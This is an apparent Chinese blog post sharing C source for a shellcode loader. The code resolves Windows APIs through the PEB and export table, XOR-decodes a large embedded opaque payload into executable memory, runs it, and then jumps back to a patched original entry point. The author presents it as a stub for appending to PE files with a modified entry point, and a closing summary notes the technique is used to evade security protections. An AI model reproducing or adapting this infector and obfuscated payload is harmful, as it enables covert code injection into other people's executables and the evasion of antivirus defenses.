简介:
之前写的代码,开下源。相当于shellcode里面套了一段解密shellcode,可以贴在PE文件后面,改入口点,最后执行完成以后再跳回来。最主要的还是要学习一下,shellcode框架怎么写,怎么地址无关,怎么随心所欲的调自己想要的API。这个知道了,就可以随便写shellcode了,但是注意shellcode中字符串的初始化格式,都是以字符数组的格式保存,这样才能地址无关!!!!!下面看代码就行,希望对大家有所帮助。
#include <Windows.h>
FARPROC _GetProcAddresss(HMODULE hMoudleBase);
int main()
{
HMODULE h_kernel32 = NULL;
__asm
{
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov h_kernel32, eax
}
typedef FARPROC (WINAPI *FN_GetProcAddress) (
__in HMODULE hModule,
__in LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress;
fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddresss(h_kernel32);
typedef LPVOID (WINAPI* FN_VirtualAlloc)(
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
char strVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\x00'};
FN_VirtualAlloc fn_VirtualAlloc = (FN_VirtualAlloc)fn_GetProcAddress(h_kernel32,strVirtualAlloc);
typedef BOOL (WINAPI* FN_VirtualProtect)(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);
char strVirtualProtect[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t','\x00'};
FN_VirtualProtect fn_VirtualProtect = (FN_VirtualProtect)fn_GetProcAddress(h_kernel32,strVirtualProtect);
typedef BOOL (WINAPI* FN_VirtualFree)(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD dwFreeType
);
char strVirtualFree[] = {'V','i','r','t','u','a','l','F','r','e','e','\x00'};
FN_VirtualFree fn_VirtualFree = (FN_VirtualFree)fn_GetProcAddress(h_kernel32,strVirtualFree);
unsigned char hexData_1[2287] = {
0xD4, 0xB9, 0x79, 0x54, 0x55, 0x55, 0x06, 0x00, 0x03, 0x02, 0x92, 0x11, 0x71, 0x41, 0x55, 0x55,
0x55, 0x55, 0x31, 0xF4, 0x65, 0x55, 0x55, 0x55, 0xDE, 0x15, 0x59, 0xDE, 0x15, 0x41, 0xDE, 0x55,
0xDE, 0x55, 0xDE, 0x15, 0x45, 0xDC, 0x11, 0x71, 0x41, 0xDE, 0x01, 0x71, 0x41, 0xBD, 0x5B, 0x5D,
0x55, 0x55, 0xDE, 0xA5, 0xE5, 0x19, 0xDD, 0xD1, 0x71, 0xC9, 0x55, 0x55, 0x55, 0xDD, 0xD1, 0x71,
0xF5, 0x55, 0x55, 0x55, 0xD8, 0xD1, 0x71, 0xC9, 0x55, 0x55, 0x55, 0x05, 0x07, 0x93, 0xD1, 0x71,
0xF0, 0x55, 0x55, 0x55, 0x3A, 0x93, 0xD1, 0x71, 0xF3, 0x55, 0x55, 0x55, 0x34, 0x93, 0xD1, 0x71,
0xF2, 0x55, 0x55, 0x55, 0x31, 0x93, 0xD1, 0x71, 0xFC, 0x55, 0x55, 0x55, 0x3C, 0x93, 0xD1, 0x71,
0xFF, 0x55, 0x55, 0x55, 0x37, 0x93, 0xD1, 0x71, 0xFE, 0x55, 0x55, 0x55, 0x27, 0x93, 0xD1, 0x71,
0xF9, 0x55, 0x55, 0x55, 0x34, 0x93, 0xD1, 0x71, 0xF8, 0x55, 0x55, 0x55, 0x27, 0x93, 0xD1, 0x71,
0xFB, 0x55, 0x55, 0x55, 0x2C, 0x93, 0xD1, 0x71, 0xFA, 0x55, 0x55, 0x55, 0x14, 0x93, 0xD1, 0x71,
0xE5, 0x55, 0x55, 0x55, 0x55, 0xAA, 0x83, 0xD8, 0x19, 0x71, 0x19, 0xDE, 0xBD, 0xE6, 0x30, 0x04,
0xDC, 0xF9, 0x71, 0x7D, 0x54, 0x55, 0x55, 0x93, 0x11, 0x71, 0x05, 0x20, 0x93, 0x11, 0x71, 0x04,
0x26, 0xDD, 0x09, 0x71, 0x07, 0x93, 0x11, 0x71, 0x06, 0x27, 0x93, 0x11, 0x71, 0x01, 0x66, 0x93,
0x11, 0x71, 0x00, 0x67, 0x93, 0x11, 0x71, 0x03, 0x7B, 0x93, 0x11, 0x71, 0x02, 0x31, 0x93, 0x11,
0x71, 0x0D, 0x39, 0x93, 0x11, 0x71, 0x0C, 0x39, 0x93, 0x11, 0x71, 0x0F, 0x55, 0xAA, 0x80, 0xD8,
0xC1, 0x71, 0xC5, 0x55, 0x55, 0x55, 0x07, 0x93, 0xD1, 0x71, 0xC1, 0x55, 0x55, 0x55, 0x22, 0x93,
0xD1, 0x71, 0xC0, 0x55, 0x55, 0x55, 0x3C, 0x93, 0xD1, 0x71, 0xC3, 0x55, 0x55, 0x55, 0x3B, 0x93,
0xD1, 0x71, 0xC2, 0x55, 0x55, 0x55, 0x3C, 0x93, 0xD1, 0x71, 0xCD, 0x55, 0x55, 0x55, 0x3B, 0xDD,
0xC9, 0x71, 0xCC, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xCF, 0x55, 0x55, 0x55, 0x21, 0x93, 0xD1,
0x71, 0xCE, 0x55, 0x55, 0x55, 0x7B, 0x93, 0xD1, 0x71, 0xC9, 0x55, 0x55, 0x55, 0x31, 0x93, 0xD1,
0x71, 0xC8, 0x55, 0x55, 0x55, 0x39, 0x93, 0xD1, 0x71, 0xCB, 0x55, 0x55, 0x55, 0x39, 0x93, 0xD1,
0x71, 0xCA, 0x55, 0x55, 0x55, 0x55, 0xAA, 0x80, 0xDE, 0xAD, 0xD8, 0xD1, 0x71, 0xF9, 0x55, 0x55,
0x55, 0x05, 0x02, 0x93, 0xD1, 0x71, 0xE1, 0x55, 0x55, 0x55, 0x1C, 0x93, 0xD1, 0x71, 0xE0, 0x55,
0x55, 0x55, 0x3B, 0x93, 0xD1, 0x71, 0xE3, 0x55, 0x55, 0x55, 0x21, 0xDD, 0xC9, 0x71, 0xE2, 0x55,
0x55, 0x55, 0x93, 0xD1, 0x71, 0xED, 0x55, 0x55, 0x55, 0x27, 0x93, 0xD1, 0x71, 0xEC, 0x55, 0x55,
0x55, 0x3B, 0xDD, 0xC9, 0x71, 0xEF, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xEE, 0x55, 0x55, 0x55,
0x21, 0x93, 0xD1, 0x71, 0xE9, 0x55, 0x55, 0x55, 0x1A, 0x93, 0xD1, 0x71, 0xE8, 0x55, 0x55, 0x55,
0x25, 0xDD, 0xC9, 0x71, 0xEB, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xEA, 0x55, 0x55, 0x55, 0x3B,
0x93, 0xD1, 0x71, 0x95, 0x55, 0x55, 0x55, 0x14, 0x93, 0xD1, 0x71, 0x94, 0x55, 0x55, 0x55, 0x55,
0xAA, 0x83, 0xDC, 0xD1, 0x71, 0xDD, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xE9, 0x55, 0x55, 0x55,
0x1C, 0x93, 0xD1, 0x71, 0xE8, 0x55, 0x55, 0x55, 0x3B, 0xD8, 0xD9, 0x71, 0xE9, 0x55, 0x55, 0x55,
0x04, 0x02, 0x93, 0xD1, 0x71, 0x93, 0x55, 0x55, 0x55, 0x21, 0xDD, 0xC9, 0x71, 0x92, 0x55, 0x55,
0x55, 0x93, 0xD1, 0x71, 0x9D, 0x55, 0x55, 0x55, 0x27, 0x93, 0xD1, 0x71, 0x9C, 0x55, 0x55, 0x55,
0x3B, 0xDD, 0xC9, 0x71, 0x9F, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0x9E, 0x55, 0x55, 0x55, 0x21,
0x93, 0xD1, 0x71, 0x99, 0x55, 0x55, 0x55, 0x1A, 0x93, 0xD1, 0x71, 0x98, 0x55, 0x55, 0x55, 0x25,
0xDD, 0xC9, 0x71, 0x9B, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0x9A, 0x55, 0x55, 0x55, 0x3B, 0x93,
0xD1, 0x71, 0x85, 0x55, 0x55, 0x55, 0x00, 0x93, 0xD1, 0x71, 0x84, 0x55, 0x55, 0x55, 0x27, 0x93,
0xD1, 0x71, 0x87, 0x55, 0x55, 0x55, 0x39, 0x93, 0xD1, 0x71, 0x86, 0x55, 0x55, 0x55, 0x14, 0x93,
0xD1, 0x71, 0x81, 0x55, 0x55, 0x55, 0x55, 0xAA, 0x83, 0xD8, 0x01, 0x71, 0x25, 0xDC, 0xD1, 0x71,
0xD9, 0x55, 0x55, 0x55, 0xDE, 0x11, 0x71, 0x41, 0x07, 0x05, 0x93, 0x11, 0x71, 0x2D, 0x16, 0x93,
0x11, 0x71, 0x2C, 0x27, 0xDD, 0x09, 0x71, 0x2F, 0x93, 0x11, 0x71, 0x2E, 0x34, 0x93, 0x11, 0x71,
0x29, 0x21, 0xDD, 0x09, 0x71, 0x28, 0x93, 0x11, 0x71, 0x2B, 0x13, 0x93, 0x11, 0x71, 0x2A, 0x3C,
0x93, 0xD1, 0x71, 0xD5, 0x55, 0x55, 0x55, 0x39, 0xDD, 0xC9, 0x71, 0xD4, 0x55, 0x55, 0x55, 0x93,
0xD1, 0x71, 0xD7, 0x55, 0x55, 0x55, 0x14, 0x93, 0xD1, 0x71, 0xD6, 0x55, 0x55, 0x55, 0x55, 0xAA,
0x83, 0xDE, 0x01, 0x71, 0x41, 0xD8, 0x19, 0x71, 0x15, 0x04, 0x07, 0xDC, 0xD1, 0x71, 0x69, 0x54,
0x55, 0x55, 0x93, 0x11, 0x71, 0x1D, 0x02, 0x93, 0x11, 0x71, 0x1C, 0x27, 0x93, 0x11, 0x71, 0x1F,
0x3C, 0x93, 0x11, 0x71, 0x1E, 0x21, 0xDD, 0x09, 0x71, 0x19, 0x93, 0x11, 0x71, 0x18, 0x13, 0x93,
0x11, 0x71, 0x1B, 0x3C, 0x93, 0x11, 0x71, 0x1A, 0x39, 0xDD, 0x09, 0x71, 0x05, 0x93, 0x11, 0x71,
0x04, 0x55, 0xAA, 0x83, 0xDE, 0x19, 0x71, 0x41, 0xDC, 0xD1, 0x71, 0x75, 0x54, 0x55, 0x55, 0xD8,
0x11, 0x71, 0x29, 0x05, 0x04, 0x93, 0xD1, 0x71, 0xD1, 0x55, 0x55, 0x55, 0x16, 0x93, 0xD1, 0x71,
0xD0, 0x55, 0x55, 0x55, 0x39, 0x93, 0xD1, 0x71, 0xD3, 0x55, 0x55, 0x55, 0x3A, 0x93, 0xD1, 0x71,
0xD2, 0x55, 0x55, 0x55, 0x26, 0xDD, 0xC9, 0x71, 0xDD, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xDC,
0x55, 0x55, 0x55, 0x1D, 0x93, 0xD1, 0x71, 0xDF, 0x55, 0x55, 0x55, 0x34, 0x93, 0xD1, 0x71, 0xDE,
0x55, 0x55, 0x55, 0x3B, 0x93, 0xD1, 0x71, 0xD9, 0x55, 0x55, 0x55, 0x31, 0x93, 0xD1, 0x71, 0xD8,
0x55, 0x55, 0x55, 0x39, 0xDD, 0xC9, 0x71, 0xDB, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xDA, 0x55,
0x55, 0x55, 0x55, 0xAA, 0x83, 0xDC, 0xD1, 0x71, 0x79, 0x54, 0x55, 0x55, 0x93, 0x11, 0x71, 0x0D,
0x38, 0x93, 0x11, 0x71, 0x0C, 0x26, 0x93, 0x11, 0x71, 0x0F, 0x23, 0x93, 0x11, 0x71, 0x0E, 0x36,
0x93, 0x11, 0x71, 0x09, 0x27, 0x93, 0x11, 0x71, 0x08, 0x21, 0x93, 0x11, 0x71, 0x0B, 0x7B, 0x93,
0x11, 0x71, 0x0A, 0x31, 0x93, 0x11, 0x71, 0x35, 0x39, 0xD8, 0x01, 0x71, 0x0D, 0x07, 0x93, 0x11,
0x71, 0x30, 0x39, 0x93, 0x11, 0x71, 0x33, 0x55, 0xAA, 0x80, 0xDE, 0xBD, 0xD8, 0x11, 0x71, 0x71,
0x05, 0x00, 0x93, 0x11, 0x71, 0x79, 0x38, 0x93, 0x11, 0x71, 0x78, 0x34, 0x93, 0x11, 0x71, 0x7B,
0x39, 0x93, 0x11, 0x71, 0x7A, 0x39, 0x93, 0x11, 0x71, 0x65, 0x3A, 0x93, 0x11, 0x71, 0x64, 0x36,
0x93, 0x11, 0x71, 0x67, 0x55, 0xAA, 0x83, 0xD8, 0x19, 0x71, 0x79, 0x04, 0x00, 0xDC, 0x11, 0x71,
0x7D, 0x93, 0x11, 0x71, 0x61, 0x38, 0xDD, 0x09, 0x71, 0x60, 0x93, 0x11, 0x71, 0x63, 0x38, 0x93,
0x11, 0x71, 0x62, 0x26, 0xDD, 0x09, 0x71, 0x6D, 0x93, 0x11, 0x71, 0x6C, 0x21, 0x93, 0x11, 0x71,
0x6F, 0x55, 0xAA, 0x83, 0xD8, 0x01, 0x71, 0x4D, 0x07, 0x00, 0xDC, 0xD1, 0x71, 0x65, 0x54, 0x55,
0x55, 0x93, 0x11, 0x71, 0x75, 0x33, 0x93, 0x11, 0x71, 0x74, 0x27, 0xDD, 0x09, 0x71, 0x77, 0xDD,
0x09, 0x71, 0x76, 0x93, 0x11, 0x71, 0x71, 0x55, 0xAA, 0x83, 0xDC, 0xD1, 0x71, 0x6D, 0x54, 0x55,
0x55, 0xD8, 0xD1, 0x71, 0x85, 0x55, 0x55, 0x55, 0x05, 0x02, 0x93, 0xD1, 0x71, 0x8D, 0x55, 0x55,
0x55, 0x1C, 0x93, 0xD1, 0x71, 0x8C, 0x55, 0x55, 0x55, 0x3B, 0x93, 0xD1, 0x71, 0x8F, 0x55, 0x55,
0x55, 0x21, 0xDD, 0xC9, 0x71, 0x8E, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0x89, 0x55, 0x55, 0x55,
0x27, 0x93, 0xD1, 0x71, 0x88, 0x55, 0x55, 0x55, 0x3B, 0xDD, 0xC9, 0x71, 0x8B, 0x55, 0x55, 0x55,
0x93, 0xD1, 0x71, 0x8A, 0x55, 0x55, 0x55, 0x21, 0x93, 0xD1, 0x71, 0xB5, 0x55, 0x55, 0x55, 0x07,
0xDD, 0xC9, 0x71, 0xB4, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xB7, 0x55, 0x55, 0x55, 0x34, 0x93,
0xD1, 0x71, 0xB6, 0x55, 0x55, 0x55, 0x31, 0x93, 0xD1, 0x71, 0xB1, 0x55, 0x55, 0x55, 0x13, 0x93,
0xD1, 0x71, 0xB0, 0x55, 0x55, 0x55, 0x3C, 0x93, 0xD1, 0x71, 0xB3, 0x55, 0x55, 0x55, 0x39, 0xDD,
0xC9, 0x71, 0xB2, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xBD, 0x55, 0x55, 0x55, 0x55, 0xAA, 0x83,
0xDE, 0xBD, 0x93, 0xD1, 0x71, 0xB1, 0x55, 0x55, 0x55, 0x1C, 0x93, 0xD1, 0x71, 0xB0, 0x55, 0x55,
0x55, 0x3B, 0x93, 0xD1, 0x71, 0xB3, 0x55, 0x55, 0x55, 0x21, 0xDD, 0xC9, 0x71, 0xB2, 0x55, 0x55,
0x55, 0x93, 0xD1, 0x71, 0xBD, 0x55, 0x55, 0x55, 0x27, 0x93, 0xD1, 0x71, 0xBC, 0x55, 0x55, 0x55,
0x3B, 0xDD, 0xC9, 0x71, 0xBF, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xBE, 0x55, 0x55, 0x55, 0x21,
0x93, 0xD1, 0x71, 0xB9, 0x55, 0x55, 0x55, 0x16, 0x93, 0xD1, 0x71, 0xB8, 0x55, 0x55, 0x55, 0x39,
0x93, 0xD1, 0x71, 0xBB, 0x55, 0x55, 0x55, 0x3A, 0x93, 0xD1, 0x71, 0xBA, 0x55, 0x55, 0x55, 0x26,
0xDD, 0xC9, 0x71, 0xA5, 0x55, 0x55, 0x55, 0x93, 0xD1, 0x71, 0xA4, 0x55, 0x55, 0x55, 0x1D, 0x93,
0xD1, 0x71, 0xA7, 0x55, 0x55, 0x55, 0x34, 0x93, 0xD1, 0x71, 0xA6, 0x55, 0x55, 0x55, 0x3B, 0x93,
0xD1, 0x71, 0xA1, 0x55, 0x55, 0x55, 0x31, 0x93, 0xD1, 0x71, 0xA0, 0x55, 0x55, 0x55, 0x39, 0xDD,
0xC9, 0x71, 0xA3, 0x55, 0x55, 0x55, 0xD8, 0xD9, 0x71, 0xB1, 0x55, 0x55, 0x55, 0x04, 0x02, 0x93,
0xD1, 0x71, 0xAA, 0x55, 0x55, 0x55, 0x55, 0xAA, 0x83, 0x3F, 0x55, 0x3F, 0x55, 0x3F, 0x55, 0x3F,
0x55, 0xD8, 0x01, 0x71, 0x21, 0x07, 0xDC, 0xD1, 0x71, 0x65, 0x54, 0x55, 0x55, 0x93, 0x11, 0x71,
0x2D, 0x07, 0x93, 0x11, 0x71, 0x2C, 0x3A, 0x93, 0x11, 0x71, 0x2F, 0x3A, 0x93, 0x11, 0x71, 0x2E,
0x3E, 0x93, 0x11, 0x71, 0x29, 0x1C, 0x93, 0x11, 0x71, 0x28, 0x10, 0x93, 0x11, 0x71, 0x2B, 0x7A,
0x93, 0x11, 0x71, 0x2A, 0x64, 0x93, 0xD1, 0x71, 0xD5, 0x55, 0x55, 0x55, 0x7B, 0x93, 0xD1, 0x71,
0xD4, 0x55, 0x55, 0x55, 0x65, 0x93, 0xD1, 0x71, 0xD7, 0x55, 0x55, 0x55, 0x55, 0xAA, 0xC1, 0x71,
0xC9, 0x55, 0x55, 0x55, 0xDE, 0xAD, 0x93, 0x11, 0x71, 0x61, 0x21, 0xDD, 0x09, 0x71, 0x60, 0x93,
0x11, 0x71, 0x63, 0x26, 0x93, 0x11, 0x71, 0x62, 0x21, 0x93, 0x11, 0x71, 0x6D, 0x0A, 0x93, 0x11,
0x71, 0x6C, 0x64, 0x93, 0x11, 0x71, 0x6F, 0x7B, 0x93, 0x11, 0x71, 0x6E, 0x31, 0x93, 0x11, 0x71,
0x69, 0x39, 0x93, 0x11, 0x71, 0x68, 0x39, 0x93, 0x11, 0x71, 0x6B, 0x55, 0xD0, 0xAA, 0x5A, 0xD1,
0xA7, 0x54, 0x55, 0x55, 0x3F, 0x55, 0x3D, 0x55, 0x55, 0x55, 0x51, 0xE5, 0x3D, 0x3F, 0x55, 0xDD,
0xD1, 0x71, 0x51, 0x54, 0x55, 0x55, 0xDD, 0xD1, 0x71, 0x45, 0x54, 0x55, 0x55, 0x3F, 0x55, 0xD8,
0xD1, 0x71, 0x5D, 0x54, 0x55, 0x55, 0x05, 0x02, 0x93, 0xD1, 0x71, 0x44, 0x54, 0x55, 0x55, 0x21,
0x93, 0xD1, 0x71, 0x47, 0x54, 0x55, 0x55, 0x21, 0x93, 0xD1, 0x71, 0x46, 0x54, 0x55, 0x55, 0x25,
0x93, 0xD1, 0x71, 0x41, 0x54, 0x55, 0x55, 0x6F, 0x93, 0xD1, 0x71, 0x40, 0x54, 0x55, 0x55, 0x7A,
0x93, 0xD1, 0x71, 0x43, 0x54, 0x55, 0x55, 0x7A, 0x93, 0xD1, 0x71, 0x42, 0x54, 0x55, 0x55, 0x22,
0x93, 0xD1, 0x71, 0x4D, 0x54, 0x55, 0x55, 0x22, 0x93, 0xD1, 0x71, 0x4C, 0x54, 0x55, 0x55, 0x22,
0x93, 0xD1, 0x71, 0x4F, 0x54, 0x55, 0x55, 0x7B, 0x93, 0xD1, 0x71, 0x4E, 0x54, 0x55, 0x55, 0x26,
0xDD, 0xC9, 0x71, 0x48, 0x54, 0x55, 0x55, 0x93, 0xD1, 0x71, 0x4B, 0x54, 0x55, 0x55, 0x3B, 0x93,
0xD1, 0x71, 0x4A, 0x54, 0x55, 0x55, 0x24, 0x93, 0xD1, 0x71, 0x75, 0x54, 0x55, 0x55, 0x3C, 0x93,
0xD1, 0x71, 0x74, 0x54, 0x55, 0x55, 0x37, 0x93, 0xD1, 0x71, 0x77, 0x54, 0x55, 0x55, 0x37, 0x93,
0xD1, 0x71, 0x76, 0x54, 0x55, 0x55, 0x7B, 0x93, 0xD1, 0x71, 0x71, 0x54, 0x55, 0x55, 0x36, 0x93,
0xD1, 0x71, 0x70, 0x54, 0x55, 0x55, 0x3A, 0x93, 0xD1, 0x71, 0x73, 0x54, 0x55, 0x55, 0x38, 0x93,
0xD1, 0x71, 0x72, 0x54, 0x55, 0x55, 0x7A, 0x93, 0xD1, 0x71, 0x7D, 0x54, 0x55, 0x55, 0x21, 0xDD,
0xC9, 0x71, 0x7C, 0x54, 0x55, 0x55, 0x93, 0xD1, 0x71, 0x7F, 0x54, 0x55, 0x55, 0x26, 0x93, 0xD1,
0x71, 0x7E, 0x54, 0x55, 0x55, 0x21, 0x93, 0xD1, 0x71, 0x79, 0x54, 0x55, 0x55, 0x7B, 0x93, 0xD1,
0x71, 0x78, 0x54, 0x55, 0x55, 0x31, 0x93, 0xD1, 0x71, 0x7B, 0x54, 0x55, 0x55, 0x39, 0x93, 0xD1,
0x71, 0x7A, 0x54, 0x55, 0x55, 0x39, 0x93, 0xD1, 0x71, 0x65, 0x54, 0x55, 0x55, 0x55, 0xAA, 0xC1,
0x71, 0xF1, 0x55, 0x55, 0x55, 0xDE, 0x8D, 0xD0, 0x8E, 0x5A, 0xD1, 0xEA, 0x55, 0x55, 0x55, 0x3D,
0x55, 0x55, 0x54, 0x55, 0xAA, 0x01, 0x71, 0x71, 0x3D, 0x55, 0x55, 0x54, 0x55, 0x3F, 0x55, 0x05,
0xDC, 0x11, 0x71, 0x65, 0xAA, 0xC1, 0x71, 0x6D, 0x54, 0x55, 0x55, 0xD6, 0x91, 0x45, 0x3F, 0x55,
0x3D, 0xD5, 0x55, 0x55, 0x55, 0x3F, 0x57, 0x3F, 0x55, 0x3F, 0x55, 0x3D, 0x55, 0x55, 0x55, 0x15,
0xD8, 0x19, 0x71, 0x19, 0x04, 0x92, 0xD1, 0x71, 0xFD, 0x55, 0x55, 0x55, 0x54, 0x55, 0x55, 0x55,
0x92, 0xD1, 0x71, 0x19, 0x54, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xAA, 0xC1, 0x71, 0x05, 0x54,
0x55, 0x55, 0xDC, 0xD1, 0x71, 0xDD, 0x55, 0x55, 0x55, 0xD0, 0x95, 0x21, 0x17, 0xDE, 0x11, 0x71,
0x75, 0xD8, 0xC1, 0x71, 0xD9, 0x55, 0x55, 0x55, 0x07, 0x3D, 0x55, 0x55, 0x54, 0x55, 0x05, 0x06,
0xAA, 0x80, 0xDE, 0xC1, 0x71, 0xD9, 0x55, 0x55, 0x55, 0xDE, 0x11, 0x71, 0x75, 0x3F, 0x55, 0xD8,
0xD9, 0x71, 0x61, 0x54, 0x55, 0x55, 0x04, 0xDE, 0xD9, 0x71, 0xC5, 0x55, 0x55, 0x55, 0x07, 0x05,
0x04, 0xAA, 0xC1, 0x71, 0x61, 0x54, 0x55, 0x55, 0xDE, 0xD1, 0x71, 0xDD, 0x55, 0x55, 0x55, 0x05,
0xAA, 0xC1, 0x71, 0x65, 0x54, 0x55, 0x55, 0xDE, 0x01, 0x71, 0x75, 0x07, 0xAA, 0xC1, 0x71, 0x69,
0x54, 0x55, 0x55, 0xD6, 0x91, 0x51, 0x06, 0xAA, 0xC1, 0x71, 0x75, 0x54, 0x55, 0x55, 0x02, 0xAA,
0xC1, 0x71, 0x75, 0x54, 0x55, 0x55, 0xD8, 0x11, 0x71, 0x61, 0x05, 0xAA, 0xC1, 0x71, 0x7D, 0x54,
0x55, 0x55, 0xD8, 0x19, 0x71, 0x45, 0x04, 0x05, 0x93, 0x11, 0x71, 0x4D, 0x27, 0x93, 0x11, 0x71,
0x4C, 0x20, 0x93, 0x11, 0x71, 0x4F, 0x3B, 0x93, 0x11, 0x71, 0x4E, 0x55, 0xAA, 0x83, 0xAA, 0x85,
0x0A, 0x0B, 0x08, 0x66, 0x95, 0x0E, 0xD4, 0x91, 0x79, 0x54, 0x55, 0x55, 0x96, 0x99, 0x99, 0x99,
0x04, 0xDE, 0x17, 0x69, 0x56, 0x97, 0xD6, 0x2D, 0x29, 0x55, 0x20, 0x51, 0x66, 0x95, 0x0C, 0x96,
0xDE, 0x1D, 0x2D, 0xD0, 0x9C, 0x21, 0xA0, 0xDE, 0x11, 0x44, 0x49, 0x06, 0xDE, 0x09, 0x44, 0x4D,
0x00, 0xDE, 0x39, 0x44, 0x71, 0x03, 0x02, 0xDE, 0x29, 0x44, 0x75, 0x66, 0xA3, 0x56, 0xAF, 0x56,
0xBF, 0x56, 0x97, 0xDC, 0x21, 0x71, 0x45, 0x1E, 0xDE, 0x59, 0xE2, 0x56, 0x9F, 0xD5, 0x6C, 0x12,
0x20, 0x1B, 0xD5, 0x2C, 0x54, 0x30, 0x20, 0x1D, 0xD5, 0x2C, 0x57, 0x21, 0x20, 0x17, 0xD5, 0x2C,
0x56, 0x05, 0x20, 0x69, 0xD5, 0x2C, 0x51, 0x27, 0x20, 0x63, 0xD5, 0x2C, 0x50, 0x3A, 0x20, 0x65,
0xD5, 0x2C, 0x53, 0x36, 0x20, 0x7F, 0xD5, 0x2C, 0x52, 0x14, 0x20, 0x71, 0xD5, 0x2C, 0x5D, 0x31,
0x20, 0x4B, 0xD5, 0x2C, 0x5C, 0x31, 0x20, 0x4D, 0xD5, 0x2C, 0x5F, 0x27, 0x20, 0x47, 0xD5, 0x2C,
0x5E, 0x30, 0x20, 0x59, 0xD5, 0x2C, 0x59, 0x26, 0x20, 0x53, 0xD5, 0x2C, 0x58, 0x26, 0x21, 0x5A,
0x13, 0x6E, 0xA6, 0x23, 0xF6, 0xDE, 0x11, 0x71, 0x45, 0x0A, 0x0B, 0x08, 0x0E, 0x0C, 0x96, 0x5A,
0xE2, 0x19, 0x20, 0x55, 0xDE, 0x51, 0xDD, 0x0A, 0x0B, 0x08, 0x56, 0x97, 0x0E, 0x0C, 0x96
};
unsigned char *hexData_2 = (unsigned char*)fn_VirtualAlloc(NULL, 3 * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//unsigned char hexData_2[sizeof(hexData_1)];
DWORD pold;
fn_VirtualProtect(hexData_2, 3 * 1024, PAGE_EXECUTE_READWRITE, &pold);
for (int i =0;i<sizeof(hexData_1);i++)
{
hexData_2[i] = hexData_1[i] ^ 0x55;
}
__asm
{
mov eax,hexData_2
call eax
}
fn_VirtualFree(hexData_2,3 * 1024,MEM_RELEASE);
__asm
{
mov eax,0x11111111
jmp eax
}
return 0;
}
FARPROC _GetProcAddresss(HMODULE hMoudleBase)
{
PIMAGE_DOS_HEADER lpDosHeader= (PIMAGE_DOS_HEADER)hMoudleBase;
PIMAGE_NT_HEADERS32 lpNtHeadr = (PIMAGE_NT_HEADERS32)((DWORD)hMoudleBase + lpDosHeader->e_lfanew);
if(!lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
return NULL;
if(!lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
return NULL;
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)(((DWORD)hMoudleBase + (DWORD)lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
PDWORD lpdwFunName = (PDWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpdwOrd = (PWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for(; dwLoop <= lpExports->NumberOfNames -1; dwLoop++)
{
char *pFunName = (char*)lpdwFunName[dwLoop] + (DWORD)hMoudleBase;
if(pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's' )
{
pRet = (FARPROC)(lpdwFunAddr[lpdwOrd[dwLoop]] + (DWORD)hMoudleBase);
break;
}
}
return pRet;
}

本文介绍了一种利用壳代码技术,在PE文件中嵌入解密代码,通过修改入口点执行解密后的内容。代码示例展示了如何构造壳代码,动态获取API地址,并解密执行隐藏的shellcode。这种方法常用于绕过安全防护,实现代码隐蔽执行。

2532

被折叠的 条评论
为什么被折叠?



